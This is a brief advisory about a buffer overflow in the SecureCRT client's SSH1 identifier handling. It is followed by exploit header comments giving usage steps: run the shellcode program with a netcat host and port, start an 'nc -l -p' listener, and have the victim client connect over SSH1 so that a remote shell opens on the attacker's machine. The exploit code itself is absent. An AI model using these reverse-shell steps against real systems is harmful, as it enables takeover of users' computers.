The SecureCRT client is prone to a buffer-overflow condition when attempting to handle an overly long SSH1 protocol identifier string. Reportedly, an attacker can exploit this issue via a malicious server.
 
Exploiting this issue may allow an attacker to execute arbitrary code or may cause the client to crash.

// The bug was discovered by Kyuzo
// The schell code exploit was coded by Andrea Lisci
// The program working in the following way
//
// run the exploit
//./shellcode <netcat_machine> <netcat_port>
// run the netcat
// nc -l -p <netcat_port>
// connect from secureCRT to the port 9988 using ssh version 1
//
// the remote shell will be opened at netcat computer
